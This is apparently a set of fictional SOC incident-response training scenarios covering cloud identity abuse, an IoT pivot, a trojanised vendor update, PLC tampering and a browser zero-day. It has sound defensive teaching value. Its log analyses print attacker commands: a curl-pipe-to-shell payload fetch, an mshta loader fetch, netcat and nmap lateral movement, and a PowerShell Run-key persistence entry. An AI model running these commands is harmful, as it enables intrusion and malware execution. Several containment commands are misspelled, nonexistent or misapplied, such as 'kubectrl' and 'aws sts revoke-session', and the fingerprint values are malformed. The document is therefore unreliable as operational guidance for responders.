#### **Alert 4 – AWS STS:AssumeRole Abuse**

Identity: webapp-prod-msi (federated)  
Role Assumed: AWSProdAutomationRole  
Source Identity Provider: Azure OIDC Federation  
Source IP: 185.37.188.11  
Time: 01:16:55 AM

#### **Alert 5 – Kubernetes Audit Log**

Identity: aws-federated-ci-role  
Action: CreateSecret  
Namespace: prod  
Secret Name: kube-persist-token  
Data: base64-encoded 2048-bit token  
Time: 01:17:32 AM

#### **Alert 6 – Data Exfiltration Attempt**

Storage Account: prodstorage01  
Operation: Get Blob → Download  
Files:

- finance-2024-archive.zip (842MB)
- customer-records-2023.json (1.1GB)

Bytes Read: 2.3GB  
Source IP: 185.37.188.11

#### **Alert 7 – Suspicious DNS Queries**

Domains:

- sync-node-global.net
- api-cloud-exfil.net

Records: TXT  
Query Volume: 420 per minute

Likely DNS-based C2.

### **3. SOC Workflow**

#### **Phase 1: Tier 1 (T1) Initial Triage**

##### **Step 1 – Validate Alerts**

T1 identifies:

- External IP using internal Managed Identity
- Rogue service principal created
- AWS role assumed via misconfigured trust policy
- Data exfiltration attempt
- DNS tunneling

## **Step 2 – Severity**

Critical.

## **Step 3 – Escalate to Tier 2 immediately.**

### **T1 Escalation Note to T2**

Subject: CRITICAL – Cloud Machine Identity Compromise & Multi-Cloud Pivot

Hi T2,

Managed Identity webapp-prod-msi is being abused from external IP.

Indicators:

- Azure token issued outside internal network
- Massive enumeration of storage accounts
- Rogue Service Principal created with Directory.ReadWrite.All
- AWS AssumeRole triggered via Azure federation
- Kubernetes secret created for persistence
- Attempted download of sensitive 2.3GB from blob storage
- DNS tunneling observed

This appears to be a cloud machine identity poisoning incident.

## **Phase 2: Tier 2 Deep Analysis**

### **1. Attack Timeline**

01:14:41 – Azure token issued externally  
01:15:05 – Resource enumeration begins  
01:15:21 – Rogue service principal created  
01:16:55 – AWS STS AssumeRole succeeded  
01:17:32 – K8s secret persistence created  
01:18:10 – Blob storage exfiltration attempt

### **2. Root Cause Discovery**

Microservice endpoint /debug/token exposed a signed Managed Identity token to attacker.

Token was valid for:

- Storage
- Graph API
- Azure Resource Manager

### **3. Misconfigurations Identified**

#### **Azure**

- Managed Identity allowed directory write permissions
- No network controls restricting token issuance
- No Conditional Access for Managed Identities

#### **AWS**

- Misconfigured OIDC trust allowed Azure identities to AssumeRole
- No session tagging or external ID enforced

#### **Kubernetes**

- Cluster allowed any authenticated identity to create secrets

This created a **multi-cloud lateral movement path**.

### **4. Review Activities**

#### **Azure AD Logs**

AppRoleAssignment.ReadWrite.All granted to rogue app

#### **AWS CloudTrail**

iam:CreateAccessKey – Denied  
sts:AssumeRole – Allowed

#### **Kubernetes**

"CreateSecret" action created persistent backdoor token

#### **Blob Storage Logs**

Download attempt blocked after 10% due to anomaly engine

## 5. T2 Conclusion

Tier 2 determines:

This is a cloud machine identity takeover with cross-cloud lateral movement and storage exfiltration attempt.

IR activation required.

### Phase 3: Tier 3 (Threat Hunting)

T3 hunts across cloud logs:

- Finds no human account compromise
- Notes only microservice identity was abused
- Finds no further AWS persistence
- Finds one Kubernetes secret added but unused
- Confirms no data exfiltration completed

Threat is isolated but severe.

### Phase 4: Incident Classification

Classification: Cloud Credential Poisoning via Machine Identity Attack

Severity: Critical

Impact Area: Azure + AWS + Kubernetes

### Phase 5: Containment Actions

#### 1. Disable compromised Managed Identity

Remove-AzureADServicePrincipal -ObjectId <webapp-prod-msi>

#### 2. Revoke token issuance

az account clear

#### 3. Delete rogue Azure Service Principal

Remove-AzureADApplication -ObjectId <rogue-spn-id>

#### 4. Revoke AWS federated tokens

aws sts revoke-session

## **5. Block external IP in NACL / NSG**

185.37.188.11 blocked.

## **6. Purge Kubernetes secret**

kubectrl delete secret kube-persist-token -n prod

## **7. Forensic snapshot of affected systems**

- Web application
- Storage logs
- AWS CloudTrail
- Azure AD audit logs

## **8. Patch microservice vulnerability**

Disable /debug/token endpoint.

## **Phase 6: SOC Communication Workflow**

### **SOC to Cloud Security**

Compromised Managed Identity detected.  
Disable identity and purge rogue service principals.

### **SOC to DevOps**

Critical misconfiguration: /debug/token endpoint exposed MSI token.  
Urgent patch required.

### **SOC to IAM**

Audit all machine identities.  
Ensure no service identity has directory write permissions.

### **SOC to Network Team**

Block outbound traffic to sync-node-global.net.  
Enable DNS tunneling detection.

### **SOC to CISO**

Incident Notification: Cloud Machine Identity Poisoning

#### Summary:

- Managed Identity token exposed to attacker
- Rogue Azure SPN created
- AWS AssumeRole via misconfigured trust
- Kubernetes persistence planted
- Multi-cloud pivot attempt
- Exfiltration attempt detected and blocked

Status: Contained, forensic review in progress.

### **Phase 7: Final Incident Report Summary**

#### **Root Cause**

Accidental exposure of Azure Managed Identity token through public API endpoint.

#### **What Attacker Achieved**

- Access to Azure services using MSI
- Enumeration of storage accounts
- Creation of rogue Azure SPN
- AWS role assumption
- Kubernetes secret planted
- Attempt to exfiltrate 2.3GB data

#### **What Attacker Failed To Achieve**

- No successful data exfiltration
- No persistent access in AWS
- No domain compromise
- No encryption or destructive actions



## **SCENARIO 11: ROGUE IOT DEVICE COMPROMISE → CORPORATE NETWORK LATERAL MOVEMENT → CREDENTIAL HARVEST ATTEMPT**

An IoT device purchased by the Facilities team a “Smart Conference Room Display TV” is installed on the IoT VLAN.

Unknown to the company, the device:

- Runs outdated Linux kernel
- Exposes SSH & Telnet
- Has default credentials: admin/admin
- Connects to cloud servers without inspection
- Has outdated firmware with known RCE vulnerability

At 02:41 AM, attacker exploits the TV and turns it into an internal pivot point.

Using the IoT device, the attacker:

1. Performs ARP scanning
2. Attempts lateral movement into corporate LAN
3. Uses “UPnP” trick to bypass firewall segment rules
4. Launches credential harvesting attempt on exposed SMB shares
5. Uses DNS tunneling for C2
6. Attempts to brute force service accounts
7. Tries to exploit unpatched Linux backup server

### **Alerts**

#### **Alert 1 – NDR: IoT Device Command Execution Anomaly**

Alert ID: NDR-IOT-1122

Device: smart-tv-conf-02

IP: 10.30.12.55

Process Pattern: Unexpected Shell Execution

Indicators:

- BusyBox reverse shell
- curl to malicious domain

Time: 02:41:12 AM

Severity: High

#### **Alert 2 – IoT VLAN Lateral Scan**

Source: 10.30.12.55 (smart-tv-conf-02)

Destination Range: 10.30.0.0/16

Ports: 445, 3389, 22, 80, 443  
Scan Type: SYN Scan  
Count: 2,112 hits  
Time: 02:42–02:44 AM

### **Alert 3 – Firewall Alert: Cross-VLAN Access Attempt**

Source: 10.30.12.55 (IoT VLAN)  
Destination: 10.10.21.14 (AD File Server)  
Action: Block (Policy: IoT cannot reach LAN)  
Time: 02:45:12 AM  
Note: Attempts repeated 15 times

### **Alert 4 – DNS Tunneling Indicator**

Device: smart-tv-conf-02  
Domains:  
- api-smartupdate.net  
- node-sync-update.net  
Query Types: TXT  
Query Count: 533 queries in 2 minutes

DNS tunneling in IoT devices is extremely rare → C2 confirmed.

### **Alert 5 – Switch Port Anomaly**

Switch: SW-IOT-FLR7  
Port: Gi1/0/19  
MAC Activity Spike: 10,233 packets/min  
Behaviour: ARP Spoof Attempt  
Associated MAC: smart-tv-conf-02

### **Alert 6 – SMB Authentication Failure Storm**

Target: FS-APPS-01  
Usernames Tried:  
- svc\_backup  
- automation.svc  
- itops\_admin  
Attempts: 82  
Source IP: 10.30.12.55  
Time: 02:47 AM

### **Alert 7 – Linux Backup Server Exploit Attempt**

Source: 10.30.12.55

Target: 10.10.50.32 (RHEL 7 Backup Server)

Attempt: CVE-2020-14364 Exploit Try (QEMU RCE)

Result: Blocked by IPS

### **3. SOC Workflow – Full Investigation**

#### **Phase 1: Tier 1 Initial Triage**

##### **Step 1 – Validate Incident Indicators**

T1 confirms:

- IoT device running unexpected shell
- Cross-VLAN access attempts
- DNS TXT tunneling
- SMB brute force
- Backup server exploit attempts

This is not misconfiguration this is an active compromise.

##### **Step 2 – Determine Severity**

Critical. Lateral movement across IoT → Corporate LAN attempted.

##### **Step 3 – Escalate to Tier 2**

With high urgency.

##### **T1 Escalation Note to T2**

Subject: CRITICAL – IoT Device Compromise and Lateral Movement (URGENT)

Hi T2,

Detected active compromise of IoT smart TV (smart-tv-conf-02).

Indicators:

- Reverse shell execution (BusyBox)
- High-volume port scan across IoT VLAN
- Cross-VLAN firewall blocks (attempted LAN access)
- DNS tunneling using TXT queries
- SMB brute force attempts
- Attempted exploit against backup server (RHEL 7)

This device is being used as a pivot point.

Immediate containment recommended.

## **Phase 2: Tier 2 Deep Analysis**

### **1. Attack Timeline**

02:41 – BusyBox reverse shell executed on smart-tv-conf-02

02:42 – IoT VLAN scan initiated

02:45 – Cross-VLAN attempts observed

02:46 – DNS tunneling begins

02:47 – SMB brute force on FS-APPS-01

02:48 – Backup server exploit attempt launched

### **2. IoT Device Log Analysis (Extracted via NDR)**

#### **Command Execution Found**

```
curl http://malicious-node.ru/payload.sh | sh
```

#### **Attempted Lateral Movement**

```
nc 10.10.21.14 445
```

```
python3 -c 'import socket'
```

```
nmap -sS -Pn 10.10.0.0/18
```

#### **Credential Tests**

```
smbclient //fs-apps-01/share -U svc_backup
```

### **3. DNS Tunneling Pattern**

TXT payload contains:

- Base64-encoded stolen reconnaissance
- Device info
- Network topology
- ARP scan results

### **4. Exploit Attempt Details**

Attacker ran:

```
python3 exploit_cve_2020_14364.py --target=10.10.50.32
```

This is a known RCE on old QEMU/KVM.

## **5. T2 Conclusion**

IoT device is fully compromised and used for internal lateral movement.

IR activation is mandatory.

## **Phase 3: Tier 3 Threat Hunting**

T3 expands investigation:

- No other IoT devices show compromise
- Only smart-tv-conf-02 is infected
- No successful credential harvesting
- No DC compromise
- No internal malware spread
- Lateral movement attempts blocked by segmentation

Threat is active but contained.

## **Phase 4: Incident Classification**

Classification: Rogue IoT Device Compromise With Lateral Movement Attempt

Severity: Critical

Affected Zones: IoT VLAN → attempted pivot to Corporate LAN

## **Phase 5: Containment Actions**

### **1. Immediate Isolation of IoT Device**

Disable switch port Gi1/0/19.

### **2. Block IP at Firewall**

Block 10.30.12.55 outbound and inbound.

### **3. Notify Facilities/IoT Team**

Smart TV must be unplugged physically.

### **4. Forensic Acquisition**

Extract:

- Firmware
- Memory dump (if possible)
- Network traffic captures
- Execution logs

## **5. Update Firewall Segmentation**

Ensure no UPnP or dynamic port forwarding between IoT → LAN.

## **6. Block malicious domains**

malicious-node.ru  
api-smartupdate.net  
node-sync-update.net

## **7. Reset any tested service accounts**

- svc\_backup
- automation.svc
- itops\_admin

## **8. Patch backup server (RHEL 7 outdated)**

### **Phase 6: SOC Communication Workflow**

#### **SOC to Network Team**

Disable port Gi1/0/19 immediately.  
Isolate IoT device (smart-tv-conf-02).

#### **SOC to Facilities Team**

Your conference room smart TV is compromised.  
Please disconnect power and remove device from the network.

#### **SOC to IAM**

Rotate passwords for service accounts:  
svc\_backup, automation.svc, itops\_admin.

#### **SOC to IR Team**

Activate IR. IoT device compromised via remote exploit.

Attacker attempted lateral movement:

- SMB brute force
- Backup server exploit
- DNS tunneling
- Cross-VLAN scans

Containment active.

## **SOC to CISO**

Incident Notification: Rogue IoT Device Compromised

Summary:

- Smart TV exploited via RCE
- Reverse shell established
- Cross-VLAN infiltration attempted
- Backup server attack blocked
- DNS tunneling detected
- Contained to IoT VLAN

Business Impact: None

Security Impact: High (attempted pivot)

## **Phase 7: Final Incident Report Summary**

### **Root Cause**

Smart TV installed without hardening or segmentation exceptions.  
Default credentials and unpatched firmware allowed remote exploit.

### **What Attacker Achieved**

- Gained shell access
- Scanned IoT VLAN
- Attempted LAN lateral movement
- Conducted DNS tunneling
- Targeted SMB & backup server
- Attempted RCE on RHEL 7 backup server

### **What Attacker Failed To Achieve**

- Could not bypass VLAN segmentation

- Did not harvest credentials
- Did not compromise domain controller
- No successful data exfiltration
- No malware deployed on servers



## **SCENARIO12: SUPPLY CHAIN ATTACK – TROJANISED SOFTWARE UPDATE LEADING TO COVERT BACKDOOR DEPLOYMENT**

Your organisation uses a legitimate third-party application:

Vendor Product: SoftTrack Application Monitoring Agent

Vendor Name: SoftTrack Solutions

Installed On: 1,800 endpoints

At 03:11 AM, SoftTrack's update server pushes a new version:

softtrack-agent-update-v9.8.3.exe

EDR detects:

- Unexpected code injection
- Suspicious network connections
- Credential harvesting behaviour
- Abnormal registry tampering
- Rootkit-like behaviour on some endpoints

### **Alerts**

#### **Alert 1 – EDR Suspicious Code Injection**

Alert ID: EDR-INJ-4512

Host: HR-LAPTOP-14

Process: softtrack-agent.exe

Injected Into: explorer.exe

Technique: RemoteThread Injection

Time: 03:12:41 AM

#### **Alert 2 – Code Signing Anomaly**

File: softtrack-agent-update-v9.8.3.dll

Signature: SoftTrack Solutions Ltd

Chain Status: Valid, but TLS timestamp mismatch

Signed On: 2025-02-21 03:09 AM (2 minutes before update pushed)

(This is suspicious: freshly signed at unusual time.)

#### **Alert 3 – Network Beaconing Detected**

Destination: update.softtrack-solutions-proxy.net

Protocol: HTTPS (JA3 mismatch)  
JA3 Fingerprint: 77:23:00:98:aa:de:71  
Reputation: Malware C2 Server  
Beacon Interval: 5 minutes

#### **Alert 4 – Cred Harvest Behaviour**

Process: softtrack-agent.exe  
Action: Accessing LSASS via MiniDumpWriteDump  
Result: Blocked by EDR

#### **Alert 5 – Lateral Movement Activity**

User: NT AUTHORITY\SYSTEM (softtrack context)  
Target Servers:  
- FS-FIN-01  
- APP-SRV-03  
- BACKUP-SRV01  
Ports Accessed:  
- 445  
- 5985  
- 135  
Event: Authentication attempt using compromised machine account  
Time: 03:45 AM

#### **Alert 6 – Registry Tampering**

Key Modified:  
HKLM\Software\Microsoft\Windows\CurrentVersion\Run  
Value Added:  
"SystemTelemetry" = "C:\ProgramData\sysmon-cache.exe"

This establishes persistence.

#### **Alert 7 – EDR Behavioral Detection**

Event: File Dropper  
File Created: C:\ProgramData\sysmon-cache.exe  
Entropy: 8.7/10 (packed / encrypted)  
Classification: Backdoor Loader

### **SOC Workflow – Full Response Simulation**

#### **Phase 1: Tier 1 Initial Triage**

## **Step 1 – Validate Alerts**

T1 observes:

- Code injection from trusted vendor binary
- Beaconing to suspicious domain
- Credential access attempts
- Persistence creation
- Cross-server authentication attempts

## **Step 2 – Consider Trust Level**

SoftTrack agent normally trusted.

This introduces high confusion could be:

- False positive
- Bug in update
- Or genuine supply chain compromise

## **Step 3 – Severity Assessment**

Too many red flags → escalate immediately.

## **T1 Escalation to Tier 2**

Subject: CRITICAL – Trojanised Vendor Update (Suspected Supply Chain Attack)

Hi T2,

SoftTrack agent update v9.8.3 exhibiting malicious behaviour:

- Code injection into explorer.exe
- Suspicious outbound C2 traffic
- LSASS credential access attempts blocked
- Persistence created via registry
- Lateral movement attempts

Recommend immediate investigation & device isolation.

## **Phase 2: Tier 2 Deep Analysis**

### **1. Attack Timeline**

03:11 – Update downloaded from vendor server

03:12 – Agent launches with new DLL

03:12 – Code injection begins  
03:15 – Persistence created  
03:20 – C2 beacon starts  
03:45 – Credential harvesting attempted  
03:47 – Lateral movement attempts

## **2. Signature Verification & Metadata**

- Certificate valid, but timestamp suspicious
- Update created 2 minutes before release
- Vendor announcement page reports v9.7 as latest, NOT v9.8.3
- WHOIS for new update download server shows domain registered 3 weeks ago

Red flags confirm tampering.

## **3. C2 Traffic Analysis**

Domain: update.softtrack-solutions-proxy.net  
SSL Certificate: Self-signed (but agent ignores validation)  
Ports: 443, 8843  
JA3 Fingerprint: Matches known malware RAT family

## **4. Behavioural Analysis**

Trojanised update DLL performs:

- In-memory config decryption
- Delay execution (6-hour sleep to avoid detection)
- C2 check-in
- Credential dumping attempt
- Lateral movement via SMB + WinRM
- Deployment of secondary payload (sysmon-cache.exe)

## **5. Confirmation**

Tier 2 confirms:

This is a real supply chain compromise.  
Vendor's update infrastructure is hijacked.

IR must be activated immediately.

## **Phase 3: Tier 3 Threat Hunting**

T3 hunts enterprise-wide:

## **Findings**

- 1,123 endpoints downloaded v9.8.3
- 812 executed the malicious DLL
- 94 exhibited C2 traffic
- 12 attempted lateral movement
- 0 successful domain compromise so far
- C2 is active and responsive

High-risk widespread infection.

## **Phase 4: Incident Classification**

Classification: Critical Supply Chain Attack – Trojanised Vendor Update

Impact: Large-scale enterprise compromise attempt

Propagation: Widespread via automatic software update channel

## **Phase 5: Containment Actions**

### **1. Immediately isolate all SoftTrack endpoints**

EDR isolate host –tag SoftTrackAgent

### **2. Block malicious domains**

update.softtrack-solutions-proxy.net

\*.softtrack-solutions-proxy.net

### **3. Quarantine DLL and backdoor**

softtrack-agent-update-v9.8.3.dll

sysmon-cache.exe

### **4. Remove persistence**

Delete registry “SystemTelemetry” key.

### **5. Revoke code-signing certificates**

Coordinate with vendor to revoke publicly.

### **6. Full IOC sweep for:**

- new JA3 fingerprints
- zlib-packed malware
- LSASS access attempts
- explorer.exe injection

## **7. Eradication**

Reimage endpoints with v9.7 signed agent.

### **Phase 6: SOC Communications Workflow**

#### **SOC to Endpoint Management**

Stop deployment pipeline.

Disable SoftTrack update channel.

Block package v9.8.3 immediately.

#### **SOC to Vendor**

Your update channel appears compromised.

v9.8.3 is not legitimate.

Provide root cause ASAP and revoke certificate.

#### **SOC to IR Team**

Mass infection via supply chain channel.

Trojanised DLL deployed across environment.

Multiple hosts performing C2.

#### **SOC to IAM**

Monitor for unusual authentication using machine accounts.

Reset compromised machine accounts immediately.

#### **SOC to CISO**

Incident Notification: Major Supply Chain Compromise (SoftTrack)

Summary:

- Malicious update v9.8.3 distributed automatically
- Code injection and credential harvesting observed
- Secondary backdoor deployed
- >800 machines infected
- Containment actions in progress

Business Impact: High  
Regulatory Impact: Potential

## **Phase 7: Final Incident Report Summary**

### **Root Cause**

Vendor update server compromised.  
Malicious DLL replaced legitimate component.  
Signed with stolen vendor certificate.

### **What Attacker Achieved**

- Widespread malware deployment across 1,000+ endpoints
- Credential harvesting attempts
- Lateral movement attempts
- C2 connection established
- Persistence created on multiple hosts

### **What Attacker Failed To Achieve**

- Did not obtain domain admin
- Did not compromise servers
- No ransomware deployed
- No data exfiltration confirmed
- C2 infrastructure blocked in time

## **SCENARIO 13: OT/ICS INDUSTRIAL NETWORK BREACH – PLC MANIPULATION ATTEMPT VIA COMPROMISED ENGINEERING WORKSTATION**

An attacker breaches the OT DMZ through a compromised contractor laptop that connects to the SCADA environment through a jump server.

Once inside, the attacker:

1. Gains remote access to the Engineering Workstation
2. Enumerates PLCs and HMI nodes
3. Uploads modified ladder logic to a staging area
4. Attempts to change pump speed and tank valve opening
5. Sends malicious S7 protocol commands
6. Modifies Historian data to hide anomalies
7. Attempts to disable safety instrumented system (SIS) signals

### **Alerts**

#### **Alert 1 – OT NDR: Unusual S7 Protocol Command**

Alert ID: OT-S7-URGENT-5511

Source: ENG-WS-07 (Engineering Workstation)

Destination: PLC-05 (Tank Mixer Unit)

Command: S7 Function 0x1A – "Start List OB Upload"

Time: 23:41:22

Severity: Critical

Notes: Abnormal time (Engineering work is not scheduled after 6 PM)

#### **Alert 2 – Change in Ladder Logic Detected (Unauthorized)**

PLC: PLC-05

Logic Block Modified: OB35, FC101, DB201

Modification Type: Code Inserted

Checksum Change: Yes

User Account: eng.contractor01

Time: 23:41:55

#### **Alert 3 – SCADA HMI Alarm Suppression Attempt**

HMI Node: HMI-3

Action: Tag Suppression Attempt

Tag: PUMP5\_SPEED\_OVERRIDE

Result: Failed (role insufficient)



Time: 23:42:05

#### **Alert 4 – Historian Data Manipulation**

Historian Server: HIST-SRV-01  
Event: Backfilled Data Attempt  
Tag: TankLevel\_Unit05  
Old Value: 96%  
New Value Attempted: 81%  
Action: Unauthorized Write

#### **Alert 5 – Cross-VLAN Traffic (OT → Corporate LAN)**

Source: ENG-WS-07 (10.50.17.22)  
Destination: 172.16.10.88 (Corporate AD Server)  
Protocol: SMB  
Action: Blocked (OT firewall)

#### **Alert 6 – Contractor VPN Account Suspicious Login**

User: contractor01  
Login Time: 23:39  
IP: 185.217.0.199 (Foreign)  
Device: Unknown  
Outcome: Success

This contractor should only log in from Malaysia, not foreign IPs.

#### **Alert 7 – PLC Safety Overrides Attempt**

PLC: PLC-05  
Command: Force Safety Bit OFF  
Safety Tag: SIS\_FlameDetector\_Unit05  
Result: Denied by PLC Safety Layer  
Time: 23:43:20

Attackers attempted to disable safety interlocks this is severe.

#### **SOC Workflow – End-to-End**

##### **Phase 1: Tier 1 Initial Triage**

##### **Step 1 – Validate**

T1 confirms:

- Unauthorized PLC change
- Suspicious protocol use
- Historian tampering
- Contractor account used from suspicious location
- Attempted safety bypass

## **Step 2 – Classification**

This is NOT IT attack.

This is OT/ICS intrusion with safety implications.

## **Step 3 – Escalation**

Immediate escalation to T2 + OT Security.

### **T1 Escalation to Tier 2**

Subject: CRITICAL – ICS Breach Attempt (PLC Manipulation Detected)

Hi T2,

PLC-05 is receiving unauthorized commands from ENG-WS-07.

Contractor account used from foreign IP.

Historian modification detected.

SIS override attempt triggered.

This is an active OT breach.

Recommend immediate isolation of Engineering Workstation and activation of ICS IR.

## **Phase 2: Tier 2 Deep Analysis**

### **1. Attack Timeline**

23:39 – Contractor VPN login from foreign IP  
23:40 – ENG-WS-07 remote accessed  
23:41 – Unauthorized S7 commands to PLC-05  
23:41 – Ladder logic modified (OB35, FC101)  
23:42 – HMI alarm suppression attempt  
23:42 – Historian backfill attempt  
23:43 – Attempted PLC safety override

### **2. Engineering Workstation Logs**

User: contractor01  
Action: Remote session established  
Process: Step7.exe (Siemens TIA Portal)  
File Accessed: PLC05\_Project\_v4

### **3. PLC-05 Ladder Logic Diff**

Inserted logic snippet:

```
Network 17:  
IF TankLevel > 90 THEN  
    PumpSpeed := 95;  
END_IF;
```

This forces pump to run at 95% regardless of normal limit of 60%.  
Could damage pumps or cause tank overflow.

### **4. Historian Tampering**

Attacker tried to lower tank readings from 96% → 81% to hide impending overflow.

### **5. Threat Intelligence**

IP 185.217.0.199 belongs to known APT cluster targeting OT/industrial energy sectors.

### **6. Conclusion**

Tier 2 confirms:

**This is an ICS attack designed for physical damage or process disruption.**

IR activation is mandatory.

### **Phase 3: Tier 3 Threat Hunting (OT + IT)**

- Check all PLCs for unauthorized logic
- Check all HMIs for altered screens
- Review Historian for integrity issues
- Check raw ICS network captures for abnormal S7 traffic
- Verify jump server logs for lateral movement
- Validate contractor credentials
- Examine firmware integrity of PLC-05

### **Findings**

- Only PLC-05 targeted
- No worm-like propagation
- Attacker attempted stealth (modify Historian + HMI)
- Attack isolated to one engineering workstation

#### **Phase 4: Incident Classification**

##### **Classification:**

OT/ICS Intrusion with Physical Safety Impact Attempt

**Severity:** Critical (Life & Safety, Production Impact)

#### **Phase 5: Containment Actions**

##### **1. Isolate Engineering Workstation**

Disconnect ENG-WS-07 at switch level.

##### **2. Block contractor accounts**

Disable contractor01 in AD + VPN

##### **3. Lock PLC to “Run-Protect” mode**

Disallow remote changes.

##### **4. Revert PLC logic from backup**

Restore OB35, FC101, DB201 from golden image.

##### **5. Disconnect OT from IT temporarily**

Sever OT/IT firewall routes during emergency.

##### **6. Force Historian restore**

Rebuild data from historian shadow logs.

##### **7. Threat intel block**

Block all communication with attacker IP and associated domains.

##### **8. Full forensic image**

Acquire disk from ENG-WS-07 for malware artifacts.

## **9. Physical inspection**

ICS engineers inspect PLC, actuators, sensors for safety.

### **Phase 6: SOC Communication Workflow**

#### **SOC to OT Engineering**

PLC-05 has been targeted via compromised contractor account.

Unauthorized modifications detected in OB35, FC101, and DB201.  
Please switch PLC to Run-Protect and verify physical equipment integrity.

#### **SOC to Network**

Isolate ENG-WS-07 immediately.  
Block all traffic from contractor01 and foreign IP.

#### **SOC to IR Team**

Activate ICS IR protocol.

Detected:

- PLC logic tampering
- Historian data manipulation
- HMI alarm suppression attempt
- Contractor account compromise

#### **SOC to Plant Director**

Critical OT breach detected.  
PLC manipulation attempted on Mixer Unit 05.

Production at Unit 05 should be halted until safety inspection is complete.

#### **SOC to CISO**

Incident Notification: ICS Attack Attempt

Summary:

- Unauthorized PLC ladder logic uploaded
- Safety override attempted
- Historian data altered
- HMI alarm suppression attempt

- Root cause: contractor account compromised via foreign login

Status: Contained. Physical systems secure.

## **Phase 7: Final Incident Report Summary**

### **Root Cause**

Compromised contractor VPN account allowed attacker to gain remote access into OT jump server and engineering workstation.

### **What Attacker Achieved**

- Partial ladder logic modification
- Historian tampering
- HMI alarm suppression attempt
- Attempted safety system override

### **What Attacker Failed To Achieve**

- Did not achieve permanent safety override
- Did not execute malicious ladder logic
- No physical damage occurred
- No OT worm propagation
- No further PLCs compromised

## **SCENARIO 14: BROWSER ZERO-DAY EXPLOIT → REMOTE CODE EXECUTION → CREDENTIAL THEFT → CLOUD SESSION HIJACK**

A senior manager browses a legitimate financial news site. Unbeknownst to them, one of the site's ad suppliers is compromised and serves a zero-day exploit for Chrome.

Steps:

1. User visits legitimate website.
2. Malicious iframe loads exploit kit.
3. Chrome sandbox escape is triggered.
4. Malware is executed directly in memory.
5. Attacker steals browser tokens & session cookies.
6. Attacker logs into Azure/M365 using stolen session (no MFA required).
7. Attacker deploys persistence loader.
8. Ransomware staging begins.

### **Alerts**

#### **Alert 1 – EDR Suspicious Browser Spawn**

Alert ID: EDR-CHROME-9921

Process: chrome.exe

Child Process Spawned: mshta.exe

Command Line:

mshta.exe http://update-cdn-secure.com/loader.hta

Time: 08:42:11 AM

Severity: High

Note: Browser spawning mshta.exe is extremely abnormal

#### **Alert 2 – In-Memory Execution Detected**

Event: Reflective PE Injection

Source: loader.hta

Destination: dllhost.exe

Technique: Reflective DLL Injection

Hash: Unknown (no VT matches)

Classification: Zero-day payload

#### **Alert 3 – Suspicious Network Traffic**

Domain: update-cdn-secure.com

IP: 185.121.204.77

JA3: 51:99:18:aa:23:fe:71

Reputation: Malware / Exploit Kit Infrastructure

Traffic: 22 outbound connections in 30 seconds

#### **Alert 4 – Credential Access Attempt**

Process: dllhost.exe

Action: LSASS access using MiniDumpWriteDump

Result: Blocked by EDR

Time: 08:43:50 AM

#### **Alert 5 – Token Theft & Session Hijack**

SIEM detects new login:

User: karen.senior.manager

Login Location: Netherlands

Platform: Browser Session Replay

Time: 08:44 AM

Session Source: Chrome token replay

Conditional Access: Bypassed (token valid)

User is physically in Malaysia.

#### **Alert 6 – Azure Admin Portal Access Attempt**

Activity: Attempt to access Entra Admin Portal

User: karen.senior.manager

Result: Blocked (role insufficient)

IP: 185.121.204.77

Attacker is testing access levels.

#### **Alert 7 – Ransomware Staging Detected**

Process: dllhost.exe

File Created:

C:\ProgramData\shadowconfig.bin

Attribute: Hidden, System

Purpose: Ransomware staging configuration

#### **Alert 8 – Persistence Attempt**

Registry Modification:



HKCU\Software\Microsoft\Windows\CurrentVersion\Run  
"Updater" = "powershell.exe -exec bypass -File C:\Users\Public\updatecache.ps1"

## **SOC Workflow**

### **Phase 1: Tier 1 Initial Triage**

#### **Step 1 – Recognize Abnormal Chains**

T1 sees:

- Chrome spawning mshta.exe
- In-memory loading
- Credential dump attempt
- Cloud token replay from foreign IP
- Ransomware staging

#### **Step 2 – Determine Severity**

Critical – possible zero-day exploit.

#### **Step 3 – Immediate Escalation**

To Tier 2 + Cloud Security.

#### **T1 Escalation to Tier 2**

Subject: CRITICAL – Suspected Browser Zero-Day → Session Hijack → Ransomware Staging

Hi T2,

User visited normal website but chrome.exe spawned mshta.exe.

Memory injection observed.

M365 login from Netherlands using replayed token.

LSASS access attempt blocked.

Ransomware staging file created.

Immediate host isolation recommended.

### **Phase 2: Tier 2 Deep Analysis**

#### **1. Attack Timeline**

08:41:50 – User accesses legitimate site

08:42:11 – Chrome exploit triggers mshta.exe  
08:42:15 – Reflective DLL injected into dllhost.exe  
08:43:50 – Credential dump attempt  
08:44:00 – Token replay login from Netherlands  
08:44:20 – Ransomware staging begins

## **2. Investigating Chrome Exploit Chain**

### **Indicators of exploit:**

- No download by user
- Triggered after 300ms ad load
- mshta.exe used as loader (classic post-exploitation chain)
- Reflective injection into dllhost.exe

Malware operates entirely in memory until staging begins.

## **3. Cloud Session Hijack**

Azure logs confirm:

UserAgent: Chromium/ReplayEngine  
Auth Type: Token replay (session cookie)  
IP: 185.121.204.77

Browser session cookies stolen before EDR detected malicious behaviour.

## **4. Ransomware Staging Behaviour**

Shadow config file contains encrypted JSON:

```
{  
  "target_paths": ["C:\\Finance", "D:\\Documents"],  
  "schedule": "delayed_start",  
  "method": "ChaCha20-Poly1305"  
}
```

Attacker preparing for later detonation.

## **5. Conclusion**

Tier 2 concludes:

Zero-click browser exploit with session hijack and pre-ransomware behaviour.  
Full IR activation required.

### **Phase 3: Tier 3 Threat Hunting**

#### **T3 finds:**

- 2 other employees visited the same website, but exploit did not trigger
- Only Chrome v127.2 is vulnerable
- No signs of lateral movement yet
- No data exfiltration confirmed
- Token replay used for reconnaissance only

#### **Threat estimation**

Attack likely part of widespread watering-hole campaign.

### **Phase 4: Incident Classification**

Classification: Browser Zero-Day Exploit → Full Endpoint Compromise → Cloud Token Hijack → Ransomware Staging

Severity: Critical (multi-vector compromise)

### **Phase 5: Containment Actions**

#### **1. Isolate the compromised endpoint**

EDR isolate host

#### **2. Invalidate all browser sessions**

Force logout across all devices:

Revoke-AzureADUserAllRefreshToken karen.senior.manager

#### **3. Reset user credentials**

Enforced password + MFA reset.

#### **4. Block attacker infrastructure**

update-cdn-secure.com

185.121.204.77

#### **5. Verify no ransomware detonation**

Check for:

- Shadow copy deletions
- Mass file rename attempts
- Encryption threads

## **6. Deploy emergency browser patches**

Roll out vendor-provided out-of-band updates.

## **7. Clean persistence**

Remove registry key, delete staging file.

## **8. Full forensic acquisition**

Memory image, Chrome data, injection artefacts.

## **Phase 6: SOC Communication Workflow**

### **SOC to Cloud Security**

Session replay detected.

Force logout and block IP 185.121.204.77.

### **SOC to Endpoint Security**

Chrome zero-day exploited.

